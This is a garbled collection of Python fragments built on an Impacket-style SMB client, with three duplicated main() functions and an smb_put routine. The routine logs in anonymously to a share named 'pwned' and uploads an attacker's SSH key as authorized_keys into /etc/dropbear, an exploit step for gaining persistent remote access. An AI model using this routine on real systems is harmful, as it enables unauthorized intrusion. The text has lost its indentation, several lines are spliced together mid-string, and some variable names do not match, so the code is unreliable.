def smb_put(args):
username = ""
password = ""
try:
smbClient = SMBConnection(args.host, args.host, sess_port=445)
smbClient.login(username, password, args.host)
print("Reading SSH key")
try:
with open(args.key_path, "r") as fd:
sshkey = fd.read()
except IOError:
print(f"[-] Error reading {args.sshkey}")
print("Creating temp file for authorized_keys")
try:
with open("authorized_keys", "w") as fd:
fd.write(sshkey)
path = os.path.realpath(fd.name)
except IOError:
print("[-] Error creating authorized_keys")
shell = MiniImpacketShell(smbClient)
shell.onecmd("use pwned")
shell.onecmd("cd /etc/dropbear")
shell.onecmd(f"put {fd.name}")
print("Cleaning up...")
os.remove(path)
except Exception as e:
print("[-] Error connecting to SMB share:")
print(str(e))
sys.exit(1)
def main():
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-f','--command-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity (can be stacked)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
args = parser.parse_args()
if args.verbose == 0:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.DEBUG)
print(args)
creds = SMBCredential.from_args(args)
print(str(creds))
target = SMBTarget.from_args(args)
print(str(target))
print(repr(target.get_hostname()))
print(target.get_addr()[0])
try:
smb_client = SMBConnection(target, sess_port=target.port)
smb_client.login(creds)
shell = MiniImpacketShell(smb_client)
if args.command_file is not None:
logging.info("Executing commands from %s" % args.command_file.name)
for line in args.command_file.readlines():
if line[0] != '#':
print("# %s" % line,
shell.onecmd(line))
else:
print (line,)
else:
shell.cmdloop()
except Exception as e:
logging.exception('Exception in main')
def main():
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True,
description="SMB client implementation.")
parser.add_argument(
'target',
action='store',
help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument(
'-file',
type=argparse.FileType('r'),
help='input file with commands to execute in the mini shell')
parser.add_argument('-debug',
action='store_true',
help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes',
action="store",
metavar="LMHASH:NTHASH",
help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass',
action="store_true",
help='don\'t ask for password (useful for -k)')
group.add_argument(
'-k',
action="store_true",
help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey',
action="store",
metavar="hex key",
help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument(
'-dc-ip',
action='store',
metavar="ip address",
help=
'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument(
'-target-ip',
action='store',
metavar="ip address",
help=
'IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it'
)
group.add_argument('-port',
choices=['139', '445'],
nargs='?',
default='445',
metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile(
'(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:"******"Executing commands from %s" % options.file.name)
for line in options.file.readlines():
if line[0] != '#':
print("# %s" % line, end=' ')
shell.onecmd(line)
else:
print(line, end=' ')
else:
shell.cmdloop()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
def main():
# Init the example's logger theme
logger.init()
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar="ip address",
help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
'the target parameter')
group.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name and you cannot resolve it')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if options.target_ip is None:
options.target_ip = address
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:"******"Executing commands from %s" % options.file.name)
for line in options.file.readlines():
if line[0] != '#':
print("# %s" % line, end=' ')
shell.onecmd(line)
else:
print(line, end=' ')
else:
shell.cmdloop()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))